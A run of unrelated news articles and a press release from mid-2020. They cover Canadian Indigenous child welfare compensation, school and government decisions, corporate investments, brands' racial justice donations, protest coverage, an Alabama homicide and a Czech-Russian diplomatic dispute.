Jordan was born at Winnipeg's Health Sciences Centre with multiple disabilities, and died there at age five  after two years of the Manitoba and federal governments squabbling over who would pay to provide home care at Norway House Cree Nation.

Parliament ratified "Jordans Principle" in 2007, which holds Indigenous children should receive care upfront and let governments fight over payment afterward.

Using that principle, the tribunal has found Ottawa racially discriminated against Indigenous children for years, by funding child-welfare systems at far less than kids in provincial foster care. The funding structure incentivized removing children from their homes, instead of rectifying issues such as cramped housing.

The tribunal is overseeing negotiations on how Ottawa should compensate families caught up in that system.

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In an interim ruling last week, the tribunal said it "strongly encourages Canada to provide compensation to Jordan River Andersons estate, his mothers estate, his father and siblings, as a powerful symbol of reconciliation."

Indigenous Services Minister Marc Miller was not immediately available for an interview, but his spokeswoman suggested Ottawa would be indeed offer a payment.

"We appreciate the unique suffering of Jordan River Anderson and his family; we will continue to work with the parties to explore timely, compensation for his family," wrote Vanessa Adams.

Norway House leaders and Manitoba Keewatinowi Okimakanak both said that gesture would help shore up faith in Ottawa making the changes needed to treat First Nations children fairly.

The federal government administers health care and child welfare for First Nations living on reserves, while off-reserve residents fall under provincial health systems.

dylan.robertson@freepress.mb.ca
The Tomah School Board made a commitment to in-person class time by approving the school districts summer school program during a special meeting Tuesday at Robert Kupper Learning Center.

The board voted 6-0 to approve in-person remedial summer school and the districts Summer PACK enrichment program.

Most school districts in the area have opted for virtual summer school due to the COVID-19 pandemic, but board members and administrators agreed it was critical for teachers to resume face-to-face contact with students.

Young students really need to make a connection in order to learn, board member Sue Bloom said. We cant live in fear, and we cant have our children living that way, either.

Wisconsin Gov. Tony Evers ordered all public and private schools closed March 18. The provision pertaining to public schools was unaffected by the May 12 state Supreme Court order that overturned the governors Safer at Home order but is set to expire July 1.

Superintendent Cindy Zahrte acknowledged there isnt 100 percent consensus among administrators on conducting in-person classes. She also said the Monroe County Health Department advised against it.

However, Zahrte said there are parameters we can put into place to keep students and staff safe.

We know that students are going to be more successful if teachers are face to face with them, Zahrte said. The best place for our kids is in a building with competent, qualified and caring teachers.

The Summer PACK program, which normally enrolls 450-550 students, will be held at the districts outlying elementary schools July 6-31. Class size is capped at 15 students, and different entrances and exits will be used for each class of students. Students wont be allowed to bring anything from home, and all supplies remain at the school. Facemasks are encouraged but not required. Transportation is the responsibility of the parents.

Remedial high school will run July 6-31 with a classroom cap of 15 students. Sessions for remedial school for middle school and elementary school are scheduled for July 20-31 and Aug. 3-14.

Board member Pam Buchda said the board will monitor COVID-19 and is prepared close the buildings again, if necessary.

I want to make it very clear to parents that this could change overnight, Buchda said.

Board members also raised the issue of the year-round Lemonweir Elementary School, which is scheduled to begin classes July 15. The board will discuss Lemonweirs status during its June 15 board meeting.

In other business, the board voted 6-0 to re-open the districts outdoor playgrounds to the public. The vote aligns the school districts playground policy with the city of Tomah, which lifted its state of emergency May 18.

The resolution also re-opened the districts indoor facilities to outside groups subject to the discretion of the district.

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Davit Ananian, the head of Armenias State Revenue Committee (SRC), has resigned after refusing to obey Prime Minister Nikol Pashinians orders to fire one of his subordinates, the national tax service said on Friday.

The SRCs press office said that Pashinian and Ananian had differences of solely working nature related to a personnel issue. Mr. Ananian preferred to resign, rather than fire one of the efficient cadres with long experience in the [taxation] sphere, it said in a statement.

The statement, which is highly unusual for an Armenian government agency, did not name that official or give other details.

An SRC source told RFE/RLs Armenian service that Ananian objected to the sacking of Mher Martirosian, the chief of a major customs terminal outside Yerevan which drew Pashinians ire earlier this week.

As part of his efforts to stop the spread of coronavirus in Armenia, the prime minister shared on his Facebook page a photograph of people standing in a line at the terminal and failing to observer social distancing. He demanded that Ananian deal with the problem.

Pashinians spokeswoman, Mane Gevorgian, declined to confirm or deny that Ananian quit because of rejecting the premiers demand.

Pashinian was reticent about the resignation when he addressed lawmakers via a video link later on Friday. He thanked Ananian for his performance before promising new changes within the tax and customs service.

We hope that the substantive changes, which began during Mr. Ananians tenure, will deepen and expand further, said Pashinian. He did not say whom he will appoint as new head of the SRC.

Ananian gave no reasons for his unexpected resignation when he announced it on Thursday.

Some media outlets claimed afterwards that several other senior SCR official have also decided to step down. The SRC did not comment on those reports.

Ananian, 48, promised a tough crackdown on tax evasion when he took over the SRC in May 2018 shortly after the Velvet Revolution that brought Pashinian to power. The Armenian governments tax revenues have risen significantly since then, a fact regularly touted by Pashinian.

The premier declared on Friday that 2019 was a historic year for Armenia in the budgetary sense. He argued that the SRC exceeded its tax revenue target by 104 billion drams ($215 million).

The SRC collected about a total of 1.5 trillion drams ($3.1 billion) in various taxes and customs duties last year, up by 16.4 percent from 2018.
Company will be Applying to Issue Restricted Shares by June 30, 2019 to Holders of Common Stock.

MALIBU, CA / ACCESSWIRE / June 5, 2020 / Green Stream Holdings Inc. (OTC PINK:GSFI) a holding company of Green Stream Finance, Inc. its Board of Directors has agreed to apply to a special stock dividend (the "Distribution") to Green Stream Holdings Inc. stockholders of 20 shares of restricted common stock for every 1000 shares of common stock presently owned.

The Distribution of the special stock dividend will be on date to be determined shortly (the "Distribution Date") to all Green Stream stockholders of common shares recorded on the record date yet to be determined shortly. The Distribution will take place in the form of a pro rata common stock dividend to each Green Stream stockholder of record on the Distribution Date.

No fractional shares of common stock will be distributed. Instead, Green Stream stockholders will receive a number rounded to the next highest number. The Distribution is intended to qualify as tax free to Green Stream stockholders for U.S. federal income tax purposes.

No vote or action is required by Green Stream's stockholders in order to receive the Distribution, which is subject to certain customary conditions, which conditions are expected to be satisfied on or prior to the distribution date.

About Green Stream Finance, Inc.

Green Stream Finance, Inc., a Wyoming-based corporation with satellite offices in Malibu, CA and New York, NY, is focused on exploiting currently unmet markets in the solar energy space, and is currently licensed in California, Nevada, Arizona, Washington, New York, New Jersey, Massachusetts, New Mexico, Colorado, Hawaii, and Canada. The Company's next-generation solar greenhouses, constructed and managed by Green Rain Solar, LLC, a Nevada-based division, utilize proprietary greenhouse technology and trademarked design developed by world-renowned architect Mr. Antony Morali. The Company is currently targeting high-growth solar market segments for its advanced solar greenhouse and advanced solar battery products. The Company has a growing footprint in the significantly underserved solar market in New York City where it is targeting 50,000 to 100,000 square feet of rooftop space for the installation of its solar panels. Green Stream is looking to forge key partnership with major investment groups, brokers, and private investors in order to capitalize on a variety of unique investment opportunities in the commercial solar energy markets. The Company is dedicated to becoming a major player in this critical space. Through its innovative solar product offerings and industry partnerships, the Company is well-positioned to become a significant player in the solar space.

Forward-Looking Statements:

This press release contains forward-looking information within the meaning of section 27A of the Securities Act of 1933 and section 21E of the Securities Exchange Act of 1934 and is subject to the safe harbor created by those sections. This material contains statements about expected future events and/or financial results that are forward-looking in nature and subject to risks and uncertainties. That includes the possibility that the business outlined in this press release cannot be concluded for some reason. That could be as a result of technical, installation, permitting or other problems that were not anticipated. Such forward-looking statements by definition involve risks, uncertainties and other factors, which may cause the actual results, performance or achievements of Eagle Oil Holding Company Inc. to be materially different from the statements made herein. Except for any obligation under the U.S. federal securities laws, Eagle Oil Holding Company, Inc. undertakes no obligation to publicly update any forward-looking statement as a result of new information, future events or otherwise.

Green Steam Holdings Inc

16620 Marquez Avenue

Pacific Palisades, CA 90272

For All Inquiries Contact:

info@greenstreamfinance.com

SOURCE: Green Stream Holdings Inc.

View source version on accesswire.com:https://www.accesswire.com/592847/Green-Stream-Holdings-Inc-GSFI-Announces-Declaration-of-a-Special-Common-Stock-Dividend
Fashion brands are stepping up and announcing their initiatives to support the Black community in the wake of the George Floyd murder and police brutality protests.

Labels big and small are using their voices to stand together in solidarity with the important movement happening around the globe.

From monetary donations to Black Lives Matter to grants being awarded to Black female-founded initiatives, FEMAIL rounds up labels that are using their platforms for change.

Luxury accessory brand SENREVE has donated $15,000 as a brand to the cause, plus matching 100% of the amount any of their team members choose to donate

Upscale Turkish ready-to-wear brand Nisse is donating 100% of proceeds from TogetherWeAreStronger shirts to the NAACP Organization

SENREVE

The luxury accessory brand is wanting to help during this time and has donated $15,000 as a brand to the cause, plus matching 100% of the amount any of their team members choose to donate.

They took to Instagram to express their sadness, saying: 'Our hearts are broken over tragedy and trauma. We strive for SENREVE to be a platform for good.'

NISSE

The upscale Turkish ready-to-wear brand is donating 100% of proceeds from TogetherWeAreStronger shirts to the NAACP Organization.

LIVINCOOL

The Los Angeles-based streetwear brand (a celebrity favorite) is donating 100% of profits from their newly released Gradient Collection to to the Color Of Change Organization.

BYCHARI

Through Sunday the black owned jewelry label will be donating 25% of their profits to NAACP, Black Lives Matter, Black Vision Collective and more.

Chari feels passionate that smaller efforts beyond these organizations need love and support, too. So for the rest of the month her brand will be donating to women and youth organizations including Black Girls Code, Girl Trek, and The Loveland Foundation.

Los Angeles-based streetwear brand Livin Cool is donating 100% of profits from their newly released Gradient Collection to to the Color Of Change Organization

Through Sunday, BYCHARI will be donating 25% of their profits to NAACP, Black Lives Matter, Black Vision Collective and more

Justin Bieber's clothing line has donated an unspecified amount to Color of Change to support the fight for racial equality

Atlanta-based shapewear brand Spanx is donating $100,000 to local organizations in their city, plus $100,000 to Black Lives Matter, NAACP Legal Defense and Education Fund and the Minnesota Freedom Fund

TANYA TAYLOR

The New York-base label is donating 20% of net sales to the NAACP. The shared the news on Instagram, saying 'while we wish it could be more, we are a small business recovering from the effects of COVID-19, but are committed to doing our part in other ways in the interim.'

One of those ways is supporting and sharing Black owned businesses on their social media.

437

In an effort to foster permanent change in our community, the swimwear and apparel brand has launched the 437 Business Fund, where they will be distributing $20,000 in the form of grants between four Black female-founded initiatives.

437 is dedicated as a team and business to speaking up, taking action, and doing better.

The Business Fund is a long-term commitment to supporting the movement against racism, and towards justice and equality.

More information on how to apply can be found on their website and social media channels.

ARITZIA

In honor of George Floyd, the Canadian-based company is donating $100,00 to Black Lives Matter and the NAACP.

SPANX

The Atlanta-based original shapewear brand is donating $100,000 to local organizations in their city, plus $100,000 to Black Lives Matter, NAACP Legal Defense and Education Fund and the Minnesota Freedom Fund.

DREW HOUSE

Justin Bieber's clothing line has donated an unspecified amount to Color of Change to support the fight for racial equality.

GANNI

Ganni donated $100,000 to Black Lives Matter,the NAACP and the ACLU. The indie also shut their website donate for a week and urged consumers to donate to an anti-racism organization instead.

They will also be commissioning work from the Black creative community to share on their platforms.

TAI JEWELRY

Tai will be donating 100% of sales from their Strength Pendant Necklace to the NAACP in support of BLM.

SHEIN

The clothing retailer is pledging to donate $200,000 to various black-led organizations.

SHEIN will also be launching a collection of SHEIN TOGETHER t-shirts, and all proceeds will also be donated to these organizations.

The brand will continue to use their platform to amplify Black voices on criminal justice reform and racial inequality issues.

In an effort to foster permanent change in our community, swimwear and apparel brand 437 has launched the 437 Business Fund, where they will be distributing $20,000 in the form of grants between four Black female-founded initiatives

The Business Fund is a long-term commitment to supporting the movement against racism, and towards justice and equality

100% of profits from the new PrettyLittleThing x Saweetie collection are being donated to Black Lives Matter

Kim Kardashians solutionwear line is donating an unspecified amount across multiple organizations

PRETTYLITTLETHING

The UK-based fashion brand understands how important it is to speak up, step up and take action.

They are committed to implementing positive change and giving a voice to the black community.

100% of profits from the new PrettyLittleThing x Saweetie collection are being donated to Black Lives Matter.

SKIMS

Kim Kardashians solutionwear line is donating an unspecified amount across multiple organizations.

She took to Instagram to make the pledge, saying: 'SKIMS is a brand rooted in inclusivity and diversity. We stand in solidarity with the fight against systemic racism and are committed to supporting and participating in the shift hat needs to take place.'

The mother-of-four then said, 'We are donating across organizations focused on making change and fighting racial injustice.'

PRABAL GURUNG

Until June 15th, 100% of net proceeds of the label's STRONGER IN COLOUR hoodie will be donated to The Bail Project, an organization dedicated to the liberation of Black lives from systemic, economic, political, and institutional oppression.

FLEUR DU MAL

The brand made their announcement on social media, saying: 'Staying silent is not an option. Fleur stands with those fighting for justice & equality.'

They are donating 10% of sales to Know Your Rights Camp and to the Legal Defense Initiative.

The UK-based fashion brand understands how important it is to speak up, step up and take action

The Los Angeles fashion brand For Love and Lemons will be donating all web sales made last weekend, Tuesday and Wednesday of this past week to the following organizations: Black Lives Matter, The Bail Project, ACLU and NAACP Legal Defense Fund.

FOR LOVE AND LEMONS

The Los Angeles-based fashion brand will be donating all web sales made last weekend, Tuesday and Wednesday of this past week to the following organizations: Black Lives Matter, The Bail Project, ACLU and NAACP Legal Defense Fund.

'Enough is enough,' the label expressed in a release. 'And it's time for actual change, we must do better so we can teach our future generations to be better. We as a company must own up to our responsibilities to make a change, to stand for what is right. We are committed to do so, to do more, to be better.'

They have donated upwards of $67,000.

Co-founded by Florida Georgia Line's Brian Kelley and his wife Brittney Kelley, Tribe Kelley announced a non-profit partnership with the Mental Health Pivot Process

Tribe Kelley has donated $5,000 to each of the following organizations: The Innocence Project, BLH Foundation, Together Rising and Inclusive Therapists

TRIBE KELLEY

Co-founded by Florida Georgia Line's Brian Kelley and his wife Brittney Kelley, the label announced Tribe Kelley's non-profit partnership with the Mental Health Pivot Process.

The purpose is to sponsor Millennial and Gen-Z individuals through a series of Instagram Live sessions designed to help those that have experienced trauma and give them tools on how to pivot through their journey to becoming responsible adults.

Tribe Kelley has donated $5,000 to each of the following organizations: The Innocence Project, BLH Foundation, Together Rising and Inclusive Therapists.
Abu Dhabi sovereign fund Mubadala Investment Company will infuse Rs 9,093.6 crore in Reliance Industries Jio Platforms. The deal will give Mubadala 1.85 percent share in the company.

Jio Platforms which runs movie, news and music apps as well as the telecom enterprise Jio Infocomm, has now sold a combined stake of 18.97 percent in six massive fundraising deals and takes the total amount raised by Jio to an eye-popping Rs 87,655.35 crore, RIL said.

The series of deals was led by Facebook Inc, which invested Rs 43,574 crore to buy 9.99 percent on April 22. Since then, General Atlantic, Silver Lake, Vista Equity Partners and KKR together spent Rs 78,562 crore on Jio.

Also Read | 5 key points to know about Mubadala-Reliance Jio deal

But what do we know about Jio's latest investor?

Here is all you need to know about Mubadala Investment Company:

> Mubadala Investment Company is a sovereign investor managing a global portfolio aimed at generating sustainable financial returns for its shareholder, the Government of Abu Dhabi.

> Established in 2017 as a global investment powerhouse for Abu Dhabi, it is now an active worldwide investors across multiple sectors.

> Mubadala is billed as the second-biggest state investor after Abu Dhabi Investment Authority. It has more than 50 businesses and investments in more than 50 countries.

> Mubadala has offices in Rio de Janeiro, Moscow, New York and San Francisco, with a joint venture in Hong Kong.

> It manages about $229 billion in assets and it has now bought 1.85% stake in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore.

> The company typically makes investments in enterprises that create lasting value and positive economic and social impact in communities at home and overseas according to its website.

> Its portfolio companies are spread across aerospace, agribusiness, ICT, semiconductors, metals and mining, pharmaceutical and medical technology, renewable energy and utilities. It also manages diverse financial holdings.

Reliance Industries (RIL) is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd
Cork City Council and the Royal Institute of the Architects of Ireland (RIAI) have announced the winning architectural design of the competition to redevelop Bishop Lucey Park in Cork.

The winning entry is by Belfast firm Hall McKnight Architects. Their proposal treats the city's historic medieval wall as one of the main features of the park and maintains the existing archway.

The design competition comes with a 30,000 prize.

The redevelopment of Bishop Lucey Park is a key part of Cork City Councils City Centre Strategy to improve the quality of amenities in a city that is projected to grow to 300,000 in the next 20 years, with an increasing number of young families expected to live in the city centre. The 150-metre by 50 metre Bishop Lucey Park site is located between South Main Street and the Grand Parade in the medieval quarter of Cork City.

The open one-stage architectural design competition was launched in January and submissions were received from 32 architectural practices.

The judges citation of the winning project states: One of the main design issues of this competition is the treatment of the medieval wall. In this proposal the medieval wall is treated as one of the main features, being the threshold between park and Grand Parade, and is accentuated by means of steps, which in turn creates a place to view and interpret the historic urban growth of the city."

"The main route through the scheme emphasises the urban context of the city and its linkages, starting from the English Market through the existing archway, making a strong urban composition. It continues across the moat-cum-medieval wall by a bridge landing on plinth at the north east corner and traverses the park diagonally to the existing fountain, which in turn creates open and potential secret spaces, such as a plaza to South Main Street and more intimate sylvan spaces adjacent to Tuckey Street.

The 150m x 50m park was opened in 1985 and named after Bishop Cornelius Lucey, who served the diocese of Cork from 1945 to 1983.

The Lord Mayor of Cork, John Sheehan said: I think we have a newfound appreciation in Irish cities for the importance of parks and green spaces to our health and wellbeing."

"What struck me about this entry is how they have created a design that really opens up the park to the wider city centre. You can see how appealing it would be to buy something to eat at the English Market and enjoy it from one of the many benches and steps. It will attract more people to enjoy this green space in the heart of the city.

Tony Duggan, City Architect, Cork City Council, said: The winning entry is an inclusive design with something to offer all ages, and it opens up the park to the city, creating a central soft space, with a wildflower meadow, right in the city centre while still being sensitive to the medieval history of the site, emphasising the existing city walls within the site itself. It is particularly impressive how cleverly this design integrates the heritage of the city within a modern scheme.

Kathryn Meghen, RIAI CEO and Competition Registrar, said: Architects deliver value in all aspects of the built environment and continued investment in our public spaces is both necessary and welcome. Recent events have particularly highlighted the importance of our public realm and how public spaces enrich our daily lives. Bishop Lucey Park is an essential public amenity, which should be enjoyed by everyone who lives in and visits Cork city centre.
Cabinet has approved Park Agrotech Limited, a Ghanaian company in the agribusiness sector, as the preferred strategic investor for the Komenda Sugar Factory.

Mr Alan Kyerematen, Minister of Trade and Industry, announced on Wednesday.

He told Parliament, in Accra, that Agrotech was expected to work with STM Projects Limited, an Indian company with extensive experience in the management and operation of Sugar Mills and plantations both in India and other parts of the world.

Mr Speaker, following the approval by Cabinet as required by conventional practice, the Transaction Advisors entered into final negotiations with the successful bidder with the view to entering into concession agreement for the operations of the Komenda Sugar Factory, the Trade and Industry Minister said.

Mr Kyerematen was responding to a question by Mr Samuel Abdulai Jabanyite, Member of Parliament for Chereponi on behalf of Mr Yusif Suleman, MP for Bole, on the current state of the Komenda Sugar Factory.

The Minister said over first three years of the agreement, Agrotech would invest $28 million in capital expenditure and working capital, including paying an annual concession fee of US$3.3 million for a period of 15 years.

The Agreement would be effective upon completion of Condition Precedent, which includes the approval of the Agreement by Parliament, adding that the required documentation would be brought to the House in due course.

The Minister said during the final negotiations it became necessary for action on the implementation of the project to be delayed until the finalization of the National Sugar Policy, which was intended to provide the strategic policy framework for the implementation of the project.

He explained that after series of extensive stakeholders' consultations, the National Sugar Policy was finally approved by Cabinet in 2019.

Mr Kyerematen also stated that the approval of the Sugar Policy paved the way for the Concessionaire to be formally introduced to the Chiefs and Elders of the Komenda Traditional area in November, 2019.

He informed the House that the formal agreement between Park Agrotech Limited and Komenda Sugar Development Company Limited had now been executed.

He assured the legislature that as soon as the restrictions on foreign travels arising from the Covid-19 pandemic is lifted and the necessary protocols and approvals have been secured, the technical partners of Park Agrotech would begin a comprehensive programme to bring the sugar factory back to life.

I wish to assure this august house that as soon as the restrictions on foreign travels arising from the Covid-19 pandemic is lifted and after all the necessary and relevant protocols and approvals have been secured, the technical partners of Park Agrotech will begin a comprehensive programme action to bring the Komenda sugar factory back to life, he said.

---GNA
UNCIVIL RIGHTS

The death of George Floyd in police custody raises crucial issues that we are writing about all this week. Prior days' editorials can be read at timesunion.com.

TUESDAY: Violent protest is hijacking the conversation that we must have.

WEDNESDAY: Can a hyper-politicized Justice Department defend civil rights?

THURSDAY: Opening police disciplinary records is only one step.

TODAY: Attacks on free speech, peaceful assembly and the free press are anathema to our nation.

SUNDAY: Where does America go from here?

---

The First Amendment says it clearly: "Congress shall make no law ... abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the government for a redress of grievances."

Along with precious religious liberty, these are, literally and symbolically, the first freedoms in the Bill of Rights. Yet recent days have seen U.S. governments violate them over and over.

The Associated Press estimates more than 10,000 people have been arrested in recent days amid the nationwide protests over the killing of George Floyd, a black Minneapolis man who died, unarmed and handcuffed, after a police officer knelt on his neck for more than eight minutes during an arrest. Some, clearly, were breaking the law, perhaps by destroying property. But anecdotal evidence suggests many of those arrested were simply exercising their rights.

The journalists who would help answer that question are under fire, too. In Minneapolis alone, the Reporters Committee for Freedom of the Press has documented 16 incidents in which clearly identified journalists were arrested, pepper sprayed, shot with rubber bullets or forced to the ground at gunpoint while covering protests.

Sign up for The Knick  Get the latest news and some area history with our afternoon newsletter.

The U.S. Press Freedom Tracker has confirmed more than a dozen arrests or police attacks on reporters across the nation. Dozens more reported incidents are being investigated.

An account of First Amendment abuses must also include Monday's forcible clearing of peaceful protesters from a Washington, D.C., park, one long known for public protests, so that President Donald Trump could walk to a staged photo op holding a Bible outside a church  an event reminiscent of the propaganda Americans normally scoff at glorifying autocrats like North Korea's Kim Jong Un or Russia's Vladimir Putin.

It's through peaceful assembly and free speech that Americans have long forced change in government behavior and policy in pursuit of the more perfect union our founders dreamed of. To violate those rights, whether to stifle dissent or clear the way for a ham-handed political publicity stunt, is a gross offense to our people and our Constitution. A Congress that truly respects that document would not allow a president who so violated his oath to defend it get away without even a reprimand or countenance his threats to use the U.S. military against citizens. Nor should local officials who swear similar oaths tolerate the abuses we're seeing across the nation.

And both officials and protesters must remember that it's through a free press that we know of these and other offenses and injustices. Only with unfettered reporting can we have the informed public debate that is the American way out of this crisis.
If youve never been part of a big protest in a major city, you should know that theres nothing quite like it. Surrounded by people with whom you share at least one urgent belief, you move through the central arteries of a metropolis where regularly scheduled commerce and entertainment have been purposely disrupted by an outpouring of distress, outrage, idealism. Marching in a demonstration makes familiar sights strangefull of possibility but also, potentially, danger. Spend enough time in a crowd, and youll lose track of where it begins or ends; with street signs obscured, you look to buildings towering above the street for clues as to where you actually are. You read dozens of homemade signs, some of which are bound to irk you, for one reason or another, and strike up fleeting friendships with whoever gets randomly shuffled to your side. Sometimes theres a commotion you cant see the cause of, and its terrifying. Sometimes you feel bored, uncomfortable, achy, exhausted, claustrophobic. Sometimes the experience is transcendent.

Watching protests play out on videoeven via live feedsis a poor substitute for the sensory overstimulation of being there. The shaky, smeary amateur clips that circulate on social media probably come closest, allowing us to see through the eyes of one particular participant; the limitations of their perspective can be as significant as what theyre actually witnessing. News footage, shot by professional camera crews from vantage points that are often inaccessible to the people on the ground, adds another degree of distance. Yet that is how millions of people are observing the protests that erupted in the wake of George Floyds unconscionable death at the hands of Minneapolis police officer Derek Chauvin as three other officers looked on. Broadcast and cable news, which have thrived throughout the coronavirus pandemic, continued to draw enormous audiences to their coverage of the unrest. And what viewers are seeing varies widely depending on where they get their news.

Story continues

Like so many Americans, Ive been glued to screens over the past few weeks, sometimes watching Twitter or Instagram video from the demonstrations on my phone as I watch news channels cover the same scenes from a different angle on TV. By now, most of us have some awareness of what differentiates the major networks sober, painstakingly evenhanded broadcasts, the liberal spin of MSNBC, the conservative slant of Fox News and the barrage of graphics, experts and takes that is CNN. Its no surprise that just about every evening news anchor has toggled between just-the-facts accounts of the protests; reports of police brutality toward demonstrators; hand-wringing about looters; items expressing concern about public gatherings in light of the pandemic; and human-interest stories where black people and men in blue hug, listen to each other, march hand in hand. Nor would I expect any eyebrows raised at Fox News hosts holding forth, on Wednesday, under the headline Attacks Against Law Enforcement Amid Nationwide Riots while CNN announced Large Protests in D.C. as Curfew Pushed Back Tonight and the MSNBC chyron read: Peaceful Protests Tonight in Cities Across the U.S. We know that each outlet framesif not, consciously or otherwise, selectsstories to fit either their respective in-house slant or a desire to appear neutral.

What we talk less about is the visuals that accompany those storieswhich, in the case of protest footage, is often juxtaposed with the voices of hosts or guest pundits who may or may not be discussing the specific images we see onscreen. That, too, is carefully selected. You can tell because it differs so widely from channel to channel.

Most national news programs air live protest footage from two main angles. There are the breathtaking overhead shots of massive crowds in Minneapolis, New York, Los Angeles, D.C. and beyond that establish a sense of the demonstrations scale. MSNBC and CNN (which has, since the protests began in late May, taken the lead among cable news channels in the coveted 25-54 demographic for the first time in 19 years) tend to use them as backdrops for monologues and discussions, sometimes in split screens or grids that give the view from multiple cities at once. They also place one or more camera crews amid the protesters; viewers get to read the signs, perceive the diverse demographics, note the generally peaceful atmosphere. Usually, theres a reporter on the scene, as well, sharing impressions and talking with activists. On Tuesday, in what was unquestionably the most quintessential MSNBC moment I caught this week, a protester heckled correspondent Katy Tur for mentioning looting and she conceded that he was right to critique the medias fascination with that aspect of recent events.

MSNBC.com | On MSNBC Wednesday, correspondent Shaquille Brewster interviews activists in Minneapolis, while a camera crew in Washington catches Senator Elizabeth Warren posing for photos with protesters.

The most quintessential Fox News moment didnt come until Wednesdayby which time the network was devoting much of its 7 p.m. hour to dissecting Rod Rosensteins testimony at a Senate postmortem on the Russia probe; expressing frustration that Mondays fatal shooting of a retired black police captain, David Dorn, had not touched the same nerve as the wrenching video of Floyds death; and litigating Andrew Cuomos criticism of the NYPD. During an unrelated interview segment on The Story With Martha MacCallum, a camera trained on a protest in D.C. approached someone holding a sign that said No More Black Bodies and then suddenly started swiveling from left to right as though in a frenzy. Within seconds, the feed cut off. MacCallum and her remote guests filled the screen.

FoxNews.com | Fox News cameras swerve left during a live broadcast of protests in D.C. on 'The Story With Martha MacCallum,' keeping the signs in the upper right corner of the screen illegible.

For the most part, Fox NewsAmericas most popular cable news network and one that, according to Nielsen, attracted an unusually large audience of 4 million to its live coverage of the protests on Saturday, May 30has avoided the overhead shots and crowd perspectives its competitors favor. Though the network has placed some correspondents in cities where protests are taking place, they tend to report from places where there are relatively few activists present: the site of Floyds death, a storefront littered with shattered glass. Often, a split screen shows non-live footage of looting. When cameras do capture the protests themselves, its often from over the shoulders of a line of police, placing viewers in their shoes. From this angle, you dont see their weapons or the plastic shields strapped to their chests. More than once, I observed a long closeup of a black police officer. As the MacCallum moment illustrated, Fox News rarely makes signs legible to its viewers or attempts to talk with protesters. The Black Lives Matter message, as well as the broad, mostly peaceful nature of the contingent assembled in support of it, remains obscured.

TV footage is never going to represent the experience of attending a protest in all its intensity and confusion. It isnt easy, either, to fairly depict racial strife in America during such polarized times, with lives on the line and white supremacy on the rise at the same time as antiracist movements gain popular support. The median point on the political spectrum doesnt always align with the most objective assessment of the situation. Reporters have been arrested, as CNNs Omar Jimenez was, and injured by law enforcement at protests in an unprecedented assault on freedom of the press. Other journalists whove been covering recent events in good faith are taking risks, messing up, facing criticism. (Look at the turmoil at the New York Times this week, over an op-ed from Senator Tom Cotton that read to many in the papers own newsroom as an incitement to state-sponsored violence.) CNN headquarters in Atlanta became a focal point for some protesters. Rethinking old standards is not just healthy, but necessary.

But it isnt just opinionsor words in generalthat can manipulate and deceive. Visuals, while harder to pick apart, can be equally effective. And as TV news producers surely realize, they dont have to be doctored to serve propagandistic purposes. Its crucial to be aware of when we arent seeing the full picture, and to ask ourselves why. If theres a crowd of thousands assembled at a protest, shouldnt viewers get to observe what that looks like, read the signs, sense the mood of the crowd? When it comes to how we understand this moment, some of the most important images are the ones many of us dont see.
The bodies of seven adults and a dog were found shot dead in a burning Alabama home overnight in what police are calling a 'cold-blooded, targeted killing'.

Two black men, two white men, three white women and the dog were found inside the home in Valhermoso Springs near Huntsville late on Thursday.

Six of the seven victims have been identified by the Morgan County Sheriff's Office while officials work to identify the final person.

Authorities first identified Jeramy Wade Roberts, 31, of Athens, and William Zane Hodgin, 18, of Somerville, as victims.

They later named Tammy England Muzzey, 45, of Valhermoso Springs, Emily Brooke Payne, 21, of Valhermoso Springs, Roger Lee Jones Jr., 19, of Decatur and a unidentified 17-year-old female as victims. One male is still unidentified.

Authorities say they received a 911 call at 11.30pm about gunshots and discovered a fire inside the home when they arrived.

Morgan County Sheriff's deputies were able to put the fire out before firefighters arrived.

The bodies were discovered after the blaze was distinguished. It is not yet clear how big the fire was.

The bodies of seven adults and a dog were found shot dead in a burning Alabama home overnight in what police are calling a 'cold-blooded, targetted killing'

Four men, three women and the dog were found by officers inside the home in Valhermoso Springs near Huntsville late on Thursday

Police said all the victims were adults and have released the identities of six of the seven victims. Officers continued working at the 'horrific scene' this morning

Video courtesy of WAAF

'It is a horrific scene and to be able to process it will take some time,' Morgan County Sheriff's Office public information officer Mike Swafford said.

'We don't have a motive at this time. We don't have a determined suspect at this time. Investigators are following leads to piece together exactly what happened and who was involved.

'We can say we don't believe there is an active threat to anybody in the area.'

Sheriff's deputies are familiar with the residence, having answered several calls there in the past few years for problems including drugs, robbery, trespassing and disturbances, he said. The killings might have been related to drugs, he told The Decatur Daily.

'Our theory right now is whoever did this, came in here for a reason, did it and left,' he said.

Authorities are looking into the possibility of the killings being drug-related, Swafford said.

Investigators believed the gunman went to the home with the intention of shooting everyone inside, according to AL.com

Some of the victims had multiple gunshot wounds. Authorities are still working to identify them, but some are believed to have lived in the home.

He added that some of the victims had multiple gunshot wounds.

'Incredibly heinous, talking cold blooded,' Swafford said.

Investigators were still trying to identify all the victims hours after they were found and had not publicly identified any suspect.

Coroner Jeff Chunn said the names of the victims would be released once family members had been notified.

'In my 37 years as a paramedic, deputy coroner and coroner, this is the most major crime scene in Morgan County,' Chunn said.

'It is a horrific scene and to be able to process it will take some time,' Morgan County Sheriff's Office public information officer Mike Swafford said

The Morgan County Sheriff's Office said the victims included males and females - but no identities or ages were disclosed

Swafford told WAAY that authorities had responded to incidents at the home previously and had been called there as recently as last week.

'This doesn't happen in Morgan County. We had a triple homicide two weeks ago and I think that's the first anyone can remember in 20 plus years so to have seven is substantial.'
MOSCOW  Russia on Friday denounced a decision by the Czech Republic to expel two Russian diplomats over an alleged ricin poison plot that Czech officials now believe was a hoax engineered as part of internal quarrels in Moscows embassy in Prague.

The Russian Embassy described the Czech order giving the diplomats 48 hours to leave as a fabricated provocation. But the embassy did not challenge an assertion by Prime Minister Andrej Babis of the Czech Republic that one embassy employee sent deliberately made-up information about a planned attack on Czech politicians to the Czech intelligence service.

The claim that Russia itself was responsible for fabricating the poison plot story  denounced as a sick fantasy by Russias Foreign Ministry when it first surfaced in April  added a bizarre new twist to an episode that has roiled already strained relations between Moscow and Prague.

The two countries have been bitterly at odds for months over the removal from a Prague park of a statue celebrating the Soviet wartime hero Marshal Ivan Konev. Moscow reveres the marshal for his role in the defeat of Nazi Germany, but many Czechs consider him an architect of their countrys subjugation to Moscow after the end of World War II.
